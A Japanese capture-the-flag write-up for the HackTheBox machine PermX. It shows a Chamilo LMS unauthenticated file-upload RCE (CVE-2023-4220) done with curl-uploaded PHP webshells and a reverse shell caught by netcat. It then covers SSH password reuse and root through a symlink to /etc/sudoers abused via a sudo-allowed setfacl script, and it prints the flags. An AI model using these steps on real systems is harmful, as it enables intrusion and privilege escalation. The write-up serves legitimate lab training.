概要
HackTheBox「PermX 」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.23 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache httpd 2.4.52 |
80
番ポートでアクセスするとホスト名がpermx.htb
だと分かったので/etc/hosts
ファイルに追記します。
$ cat /etc/hosts
10.10.11.23 permx.htb
Webサイトにアクセスできました。
ディレクトリの列挙を行います。
$ dirsearch -u http://permx.htb/
[11:25:35] 301 - 303B - /js -> http://permx.htb/js/
[11:25:58] 200 - 3KB - /404.html
[11:26:02] 200 - 4KB - /about.html
[11:26:39] 200 - 3KB - /contact.html
[11:26:41] 301 - 304B - /css -> http://permx.htb/css/
[11:26:59] 301 - 304B - /img -> http://permx.htb/img/
[11:27:03] 200 - 448B - /js/
[11:27:05] 200 - 491B - /lib/
[11:27:05] 301 - 304B - /lib -> http://permx.htb/lib/
[11:27:06] 200 - 649B - /LICENSE.txt
/lib
にはこのWebサイトで使用されているJavaScriptのライブラリファイルがあります。
/LICENSE.txt
やフッターの情報からHTML Codex
が使用されていると分かります。
サブドメインの列挙を行います。
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb/ -fc 302 -o PermX/ffuf_subdomain_list
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 272ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 315ms]
/etc/hosts
ファイルにサブドメインを追記します。
$ cat /etc/hosts
10.10.11.23 permx.htb www.permx.htb lms.permx.htb
www.permx.htb
はpermx.htb
と同様のページが表示されました。
一応ディレクトリの列挙を行いましたが、permx.htb
と同様の結果が出ました。
$ dirsearch -u http://www.permx.htb/
[20:36:11] 301 - 311B - /js -> http://www.permx.htb/js/
[20:36:39] 200 - 3KB - /404.html
[20:36:44] 200 - 4KB - /about.html
[20:37:43] 200 - 3KB - /contact.html
[20:37:46] 301 - 312B - /css -> http://www.permx.htb/css/
[20:38:10] 301 - 312B - /img -> http://www.permx.htb/img/
[20:38:17] 200 - 451B - /js/
[20:38:19] 301 - 312B - /lib -> http://www.permx.htb/lib/
[20:38:19] 200 - 494B - /lib/
[20:38:20] 200 - 649B - /LICENSE.txt
/lms.permx.htb
へアクセスするとポータルのログイン画面が表示されました。
学習管理システムのChamilo lms
を使用していることや、フッターから管理者のDavis Miller
が分かりました。
lms.permx.htb
のディレクトリの列挙を行います。
$ dirsearch -u http://lms.permx.htb/
[20:40:18] 200 - 46B - /.bowerrc
[20:40:19] 200 - 2KB - /.codeclimate.yml
[20:40:36] 200 - 3KB - /.scrutinizer.yml
[20:40:40] 200 - 4KB - /.travis.yml
[20:41:28] 301 - 312B - /app -> http://lms.permx.htb/app/
[20:41:29] 200 - 719B - /app/
[20:41:29] 200 - 642B - /app/cache/
[20:41:29] 200 - 407B - /app/logs/
[20:41:30] 200 - 101KB - /app/bootstrap.php.cache
[20:41:37] 200 - 455B - /bin/
[20:41:37] 301 - 312B - /bin -> http://lms.permx.htb/bin/
[20:41:39] 200 - 1KB - /bower.json
[20:41:47] 200 - 7KB - /composer.json
[20:41:51] 200 - 5KB - /CONTRIBUTING.md
[20:41:52] 200 - 587KB - /composer.lock
[20:42:00] 301 - 322B - /documentation -> http://lms.permx.htb/documentation/
[20:42:00] 200 - 1KB - /documentation/
[20:42:07] 200 - 2KB - /favicon.ico
[20:42:19] 200 - 4KB - /index.php
[20:42:20] 200 - 4KB - /index.php/login/
[20:42:27] 200 - 842B - /license.txt
[20:42:27] 200 - 34KB - /LICENSE
[20:42:32] 301 - 313B - /main -> http://lms.permx.htb/main/
[20:42:32] 200 - 97B - /main/
[20:43:02] 200 - 8KB - /README.md
[20:43:05] 200 - 403B - /robots.txt
[20:43:17] 200 - 444B - /src/
[20:43:17] 301 - 312B - /src -> http://lms.permx.htb/src/
[20:43:31] 302 - 0B - /user.php -> whoisonline.php
[20:43:33] 200 - 1KB - /vendor/
[20:43:34] 200 - 0B - /vendor/autoload.php
[20:43:34] 200 - 0B - /vendor/composer/autoload_psr4.php
[20:43:34] 200 - 0B - /vendor/composer/autoload_files.php
[20:43:34] 200 - 0B - /vendor/composer/ClassLoader.php
[20:43:34] 200 - 0B - /vendor/composer/autoload_namespaces.php
[20:43:34] 200 - 0B - /vendor/composer/autoload_static.php
[20:43:34] 200 - 1KB - /vendor/composer/LICENSE
[20:43:34] 200 - 0B - /vendor/composer/autoload_real.php
[20:43:35] 200 - 0B - /vendor/composer/autoload_classmap.php
[20:43:38] 200 - 531KB - /vendor/composer/installed.json
[20:43:38] 200 - 6KB - /web.config
[20:43:39] 200 - 479B - /web/
/README.md
を見るとChamilo 1.11.x
を使用していると分かりました。
# Chamilo 1.11.x
![PHP Composer](https://github.com/chamilo/chamilo-lms/workflows/PHP%20Composer/badge.svg?branch=1.11.x)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/badges/quality-score.png?b=1.11.x)](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/?branch=1.11.x)
searchsploit
で脆弱性を検索するといくつかヒットしました。
$ searchsploit chamilo 1.11
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Chamilo LMS 1.11.14 - Account Takeover | php/webapps/50694.txt
Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) | php/webapps/49867.py
Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting | php/webapps/45536.txt
Chamilo LMS 1.11.8 - Cross-Site Scripting | php/webapps/45535.txt
----------------------------------------------------------------------------------- ---------------------------------
Metasploitで検索すると一件ヒットしたので攻撃を試みます。
msf6 > search chamilo 1.11
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/chamilo_unauth_rce_cve_2023_34960 2023-06-01 excellent Yes Chamilo unauthenticated command injection in PowerPoint upload
この攻撃は失敗しました。
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit
[*] Started reverse TCP handler on 10.10.14.158:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.11.23:80 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
より詳細なバージョン情報を得る必要があります。
/documentation/changelog.html
を見ると、最終更新が1.11.24
だと分かりました。
1.11.24
で脆弱性を検索するとCVE-2023-4220
がヒットしました。
下記のレポジトリを参考に実際に悪用できるか確認します。
アップロードするPHPファイルを作成します。
$ echo '<?php system("whoami"); ?>' > dollarboysushil.php
作成したPHPファイルをアップロードします。
$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
/main/inc/lib/javascript/bigupload/files/dollarboysushil.php
へアクセスするとRCEが成功したと分かりました。
Kaliに入っているPHPのリバースシェルファイル、/usr/share/webshells/php/php-reverse-shell.php
をIPなど自身のものに編集してアップロードします。
$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
Netcatで待ち受けをし、/main/inc/lib/javascript/bigupload/files/dollarboysushil.php
へアクセスするとwww-data
のシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.23] 56148
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
12:44:04 up 1:05, 4 users, load average: 1.39, 0.94, 1.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
ターゲットマシンにmtz
ユーザーが存在すること、/home/mtz
へはアクセス権がないと分かりました。
ls -l /home
total 4
drwxr-x--- 8 mtz mtz 4096 Jul 9 12:47 mtz
chamilo
アプリ内で認証情報を探します。
最初に、/var/www/chamilo/.travis.yml
を発見しました。
MySQLの存在やDB名、ユーザー名などを確認できました。
(省略)
# Install chamilo
- php -d date.timezone="Europe/Paris" $TRAVIS_BUILD_DIR/chash/chash.php chash:chamilo_install $CHAMILO_VERSION $TRAVIS_BUILD_DIR --no-interaction --sitename="Chamilo" --site_url="http://$VHOST_URL/" --institution="Chamilo" --institution_url="https://chamilo.org" --encrypt_method="sha1" --firstname="John" --lastname="Doe" --language="english" --driver="pdo_mysql" --host="localhost" --port="3306" --dbname="chamilo" --dbuser="root" --permissions_for_new_directories="0777" --permissions_for_new_files="0666" --linux-user="www-data" --linux-group="www-data" --username="admin" --password="admin" --email="admin@example.com" --phone="555-5555"
次に、/var/www/chamilo/app/config/configuration.php
にMySQLの認証情報を発見しました。
(省略)
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
パスワードがハッシュ化されているのでアルゴリズムを調べると、Cisco-PIX(MD5)
の可能性が高いと分かりました。
$ hashid "03F6lY3uXAP2bkW8"
Analyzing '03F6lY3uXAP2bkW8'
[+] Cisco-PIX(MD5)
[+] Cisco-ASA(MD5)
しかしハッシュ値の解読には至りませんでした。
この情報を使用してDB情報の閲覧を試みました。
DBを参照するPHPコードを脆弱性を利用してアップロードし、実行させます。
chamilo
データベースのuser
テーブルからWebアプリケーションのアカウント情報を取得できました。
パスワードとソルトを得られたのでハッシュ値の解読を試みましたが、これも失敗に終わりました。
視点を変え、得られたパスワード03F6lY3uXAP2bkW8
を使用して、mtz
アカウントへSSH接続を試みると成功しました。
$ ssh mtz@permx.htb
mtz@permx:~$
/home/mtz/user.txt
からユーザーフラグを入手できます。
792770bf9e4a91c44f674543242a867e
Root Flag
sudo -l
を実行すると/opt/acl.sh
が実行可能だと分かりました。
このスクリプトを悪用して権限昇格が出来そうです。
$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
/opt/acl.sh
は編集権限がないと分かりました。
$ ls -l /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh
/opt/acl.sh
の内容を確認すると/usr/bin/setfacl
を利用してアクセス権の制御を行っていると分かります。
条件として対象のファイルが/home/mtz
配下であること、..
などを利用して親ファイルを参照していないことが分かりました。
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
このことから、対象のファイルは/home/mtz
配下に作成する必要があります。
/etc/sudoers
へのシンボリックリンクを/home/mtz
配下に作成します。
$ ln -s /etc/sudoers sudo
そして作成したリンボリックリンク/home/mtz/sudo
を対象に/opt/acl.sh
を実行します。
$ sudo /opt/acl.sh mtz wrx /home/mtz/sudo
すると/etc/sudoers
に権限を付与することに成功しました。
-r--rwx---+ 1 root root 1711 Jul 10 07:18 /etc/sudoers
/etc/sudoers
を編集し、全てのコマンドをパスワードなしでrootで実行できるようにします。
(省略)
mtz ALL=(ALL:ALL) NOPASSWD: ALL
これでrootアカウントへ昇格できました。
$ sudo su
root@permx:/home/mtz#
/root/root.txt
からフラグを入手できます。
78b285886904558cf8f91fd7173e33b8